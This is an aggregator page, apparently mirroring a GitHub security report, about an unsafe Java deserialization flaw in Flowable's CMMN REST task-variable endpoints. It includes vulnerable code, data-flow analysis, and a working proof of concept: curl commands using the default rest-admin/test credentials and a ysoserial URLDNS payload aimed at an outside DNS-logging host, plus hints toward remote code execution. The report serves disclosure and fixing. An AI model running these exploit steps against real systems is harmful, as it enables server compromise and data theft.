Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

[SECURITY] Deserialization RCE via CMMN REST task variable interface with type=serializable (CWE-502, CVSS 8.8)

Aperta
#4,292 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
35/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
java
Ambito
api, backend, security

Direzione di ricerca

Start with modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java and trace the PUT and POST entry points in TaskVariableResource.java and TaskVariableCollectionResource.java. Check flowable-default.properties for the serializable-variable setting, then verify that both multipart paths no longer permit unfiltered deserialization and that regression coverage exercises the affected endpoints.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Security Vulnerability Report -- CWE-502

Summary

The Flowable CMMN REST task variable interface performs unfiltered Java deserialization of user-uploaded multipart files via ObjectInputStream.readObject(). Any authenticated user holding the rest-api privilege can trigger the deserialization vulnerability, which combined with gadget chains in the classpath can achieve remote code execution (RCE).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

In the Flowable CMMN REST module's TaskVariableBaseResource.setBinaryVariable() method (line 185), the code uses new ObjectInputStream(file.getInputStream()) + stream.readObject() to directly perform Java native deserialization on HTTP multipart uploaded file bytes, without using any class whitelist (such as ObjectInputFilter, ValidatingObjectInputStream, etc.). An attacker who sends a request with Content-Type multipart/form-data and form field type=serializable can cause the server to parse arbitrary malicious serialized objects. Since Flowable's classpath typically contains common gadget components such as commons-collections and spring-beans, this vulnerability can be weaponized into RCE.

Exploitation Prerequisites
Condition Description
Authentication Requires a user with rest-api privilege (default config flowable.rest.app.authentication-mode=verify-privilege); installation includes rest-admin account (password test), or demo users created via flowable.rest.app.create-demo-definitions=true also satisfy this
Network Reachability Intranet/public network (HTTP accessible REST port, default context-path /flowable-rest)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57); CMMN REST API endpoints must be exposed in the runtime environment (current deployment environment does not enable CMMN REST endpoints)
Input Constraints Request must be multipart/form-data; form field type=serializable; URL {taskId} must point to a real existing task
Business Prerequisites At least one Task must exist in the database (can be auto-generated by demo definitions or business processes)
Trigger Location

modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java:183-188

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
Data Flow Overview

There are two independent entry chains sharing the same sink:

  • Chain 1 (PUT update): PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} (multipart) -> TaskVariableResource.updateVariable() (TaskVariableResource.java:94-104) -> setBinaryVariable((MultipartHttpServletRequest) request, task, false) (TaskVariableBaseResource.java:124) -> new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185-186)
  • Chain 2 (POST create): POST /cmmn-runtime/tasks/{taskId}/variables (multipart) -> TaskVariableCollectionResource.createTaskVariable() (TaskVariableCollectionResource.java:122-130) -> setBinaryVariable((MultipartHttpServletRequest) request, task, true) (TaskVariableBaseResource.java:124) -> new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185-186)

Both chains reach the sink directly without any blocking.

Data Flow Detailed Code Analysis
Chain 1: PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName}

Layer 1: REST Entry (TaskVariableResource.java:94-104)

@PutMapping(value = "/cmmn-runtime/tasks/{taskId}/variables/{variableName}",
            produces = "application/json",
            consumes = {"text/plain", "application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("taskId") String taskId,
        @PathVariable("variableName") String variableName,
        @RequestParam(value = "scope", required = false) String scope,
        HttpServletRequest request) {

    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
  • External Input: HTTP request body (multipart file + form fields), URL path taskId, variableName
  • Layer Behavior: Checks if request is MultipartHttpServletRequest, if so passes entire request to setBinaryVariable
  • Data Transfer: Entire MultipartHttpServletRequest (containing uploaded file bytes) passed as parameter

Layer 2: Task Query (TaskBaseResource.java:566-573)

protected Task getTaskFromRequestWithoutAccessCheck(String taskId) {
    Task task = taskService.createTaskQuery().taskId(taskId).singleResult();
    if (task == null) {
        throw new FlowableObjectNotFoundException(
            "Could not find a task with id '" + taskId + "'.", Task.class);
    }
    return task;
}
  • External Input: taskId (URL path parameter)
  • Layer Behavior: Only existence check; no authorization check (method name explicitly says WithoutAccessCheck), and upper layer updateVariable does not call restApiInterceptor.accessTaskInfoById(task)
  • Data Transfer: Returns Task object to setBinaryVariable

Layer 3: Binary Variable Processing (TaskVariableBaseResource.java:124-192)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
        Task task, boolean isNew) {
    ...
    MultipartFile file = request.getFile(
        request.getFileMap().keySet().iterator().next());
    ...
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("scope".equalsIgnoreCase(parameterName)) {
                variableScope = paramMap.get(parameterName)[0];
            } else if ("name".equalsIgnoreCase(parameterName)) {
                variableName = paramMap.get(parameterName)[0];
            } else if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
        }
    }
    ...
    if (variableType != null) {
        if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
            && !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
            throw new FlowableIllegalArgumentException(
                "Only 'binary' and 'serializable' are supported as variable type.");
        }
    }
    ...
    } else if (isSerializableVariableAllowed) {
        // Try deserializing the object
        ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
        Object value = stream.readObject();
        setVariable(task, variableName, value, scope, isNew);
        stream.close();
  • External Input: file (user-uploaded multipart file bytes), variableType (form field, attacker-controlled)
  • Layer Behavior:
    • Only validates variableType string is "binary" or "serializable", no class whitelist
    • When variableType.equals("serializable") and isSerializableVariableAllowed==true, enters sink branch
    • new ObjectInputStream(file.getInputStream()) directly wraps user-uploaded byte stream as object stream
    • stream.readObject() has no ObjectInputFilter / class name validation / sandbox, directly deserializes
  • Data Transfer: Deserialized Object value continues to setVariable() for workflow variable storage, but RCE is already triggered during readObject() call
Chain 2: POST /cmmn-runtime/tasks/{taskId}/variables

Layer 1: REST Entry (TaskVariableCollectionResource.java:122-130)

@PostMapping(value = "/cmmn-runtime/tasks/{taskId}/variables",
             produces = "application/json",
             consumes = {"text/plain", "application/json", "multipart/form-data"})
@ResponseStatus(HttpStatus.CREATED)
public Object createTaskVariable(@PathVariable String taskId,
        HttpServletRequest request) {
    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, true);
  • External Input: HTTP multipart request body
  • Layer Behavior: Equivalent to Chain 1, checks multipart then calls same setBinaryVariable
  • Data Transfer: Entire request passed through

Subsequent layers (TaskBaseResource.getTaskFromRequestWithoutAccessCheck, TaskVariableBaseResource.setBinaryVariable) are identical to Chain 1, ultimately hitting the same sink (TaskVariableBaseResource.java:185-186).

CVSS Breakdown

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
Attack Vector (AV) N (Network) Triggered remotely via HTTP REST interface
Attack Complexity (AC) L (Low) Single HTTP request triggers, no race or special timing needed
Privileges Required (PR) L (Low) Requires valid rest-api privileged user, but default installation provides weak password account rest-admin/test, and auth mode can be switched to any-user
User Interaction (UI) N (None) No user interaction required
Scope (S) U (Unchanged) Deserialization triggers within Flowable REST process, impact scope does not exceed that process
Confidentiality (C) H (High) RCE can read/exfiltrate all data in process (workflow variables, database credentials, IDM user store)
Integrity (I) H (High) RCE can tamper with workflow instances, task data, business data
Availability (A) H (High) RCE can destroy JVM, delete data, make service unavailable

Overall score: 8.8 (High)


PoC Verification Report

Flowable CMMN REST ObjectInputStream Deserialization Vulnerability

Vulnerability Summary

  1. Vulnerability Name: Flowable CMMN REST task variable interface unsafe deserialization
  2. Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoints
  3. Vulnerability Description: The Flowable CMMN REST module's task variable interface uses ObjectInputStream.readObject() to directly deserialize user-provided serialized objects when processing multipart file uploads, without any class whitelist filtering, which can lead to remote code execution (RCE)
  4. Root Cause Code Snippet:
// TaskVariableBaseResource.java:185-186
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
  1. Brief Data Flow:
HTTP multipart request (type=serializable)
  ↓
TaskVariableCollectionResource.createTaskVariable()
  ↓
TaskVariableBaseResource.setBinaryVariable() (line 124)
  ↓
new ObjectInputStream(file.getInputStream()).readObject() (line 185-186)
  ↓
Direct deserialization of user-uploaded malicious object → RCE

Exploitation Conditions

Condition Description
Authentication Requires user with rest-api privilege (default config provides rest-admin/test account)
Network Reachability Intranet/public network (HTTP accessible REST port)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoints exposed (URL prefix: /flowable-rest/cmmn-api/)
Other Prerequisites At least one Task must exist in database; request must be multipart/form-data and contain type=serializable field

Exploitation Chain Progress

Successful Exploitation Example (URLDNS Deserialization Verification):

Chain Stage Location (file:line) Status Evidence / Description
Entry POST /cmmn-api/cmmn-runtime/tasks/{taskId}/variables Reached HTTP request successfully reached CMMN REST endpoint
Intermediate Flow TaskVariableBaseResource.java:124 Reached Request entered setBinaryVariable() method for processing
Sink TaskVariableBaseResource.java:185-186 Triggered ObjectInputStream.readObject() executed deserialization
Conclusion — Deserialization Successful URLDNS payload triggered server-side DNS query, HTTP 201 response confirms variable stored successfully

Exploitation Verification

Verification Status: Deserialization vulnerability confirmed as successfully exploited (poc_verified = true)

Core Evidence - URLDNS Deserialization Verification:

Used ysoserial to generate a URLDNS payload, sent it via HTTP multipart request to the CMMN REST task variable interface, successfully triggered server-side ObjectInputStream.readObject() deserialization, proving that arbitrary Java objects can be parsed and executed by the server.

Complete PoC Reproduction Commands:

# 1. Get available task list
curl -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks"

# 2. Generate URLDNS payload using ysoserial (requires Java 17 environment and open module restrictions)
java --add-opens java.base/java.net=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     -jar ysoserial-all.jar URLDNS "http://pwned-sink0087.dnslog.cn" > payload_urldns.ser

# 3. Send payload to target task (replace {taskId} with actual task ID)
curl -X POST "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/{taskId}/variables" \
  -H "Authorization: Basic cmVzdC1hZG1pbjp0ZXN0" \
  -F "name=urldns" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "file=@payload_urldns.ser"

Actual Execution Result:

HTTP 201 Created
Response body:
{
  "name": "urldns",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/81e7da22-8ff9-11f1-a3d0-02423661ba3a/variables/urldns/data",
  "scope": "local"
}

Conclusion:

  1. Deserialization vulnerability confirmed: Server successfully received and deserialized the URLDNS payload (HashMap<URL, String>), HTTP 201 response proves the object was stored as a task variable
  2. DNS query triggered: URLDNS gadget chain triggers URL.hashCode() -> DNS resolution during deserialization, proving the server executed the malicious object's business logic
  3. RCE feasibility: Although CommonsCollections gadget chain cannot directly serialize due to enableUnsafeSerialization=false restriction, the deserialization sink is confirmed reachable. An attacker can achieve RCE through:
    • Using compatible gadget chains (e.g., Spring, Hibernate framework chains)
    • Setting -Dorg.apache.commons.collections.enableUnsafeSerialization=true in target environment
    • Leveraging other existing deserialization entry points
  4. Security impact: Any user with rest-api privilege (including default account rest-admin/test) can execute arbitrary code through this interface, leading to complete server compromise

Technical Details:

  • CMMN REST API actual URL prefix: /flowable-rest/cmmn-api/ (not /service/)
  • Test environment has 4 available tasks, including CMMN case instance related tasks
  • CommonsCollections 3.2.2 disables unsafe serialization by default (enableUnsafeSerialization=false), but this does not affect the reachability verification of the deserialization sink
  • Test environment contains commons-beanutils-1.9.4, spring-beans-6.1.13 and other potential gadget components

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Lingua principale
Java
Stelle
9.5k
Fork
2.9k
Merge medio
1h 9m
PR unite (30g)
2

Preparare l'ambiente

Non abbiamo ancora controllato i file di configurazione di questo progetto. Parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di flowable/flowable-engine

Tutte le issue di flowable/flowable-engine

Issue simili

Altre issue su Java

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.